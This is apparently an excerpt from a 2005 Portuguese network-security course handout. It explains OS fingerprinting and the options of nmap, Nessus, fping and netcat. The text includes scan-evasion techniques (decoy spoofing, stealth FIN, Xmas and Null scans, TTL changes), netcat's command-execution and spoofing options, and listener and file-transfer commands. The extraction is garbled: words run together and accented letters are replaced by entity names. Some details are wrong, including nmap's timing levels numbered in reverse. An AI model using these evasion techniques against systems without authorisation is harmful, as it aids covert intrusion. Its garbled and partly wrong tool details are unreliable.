remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn 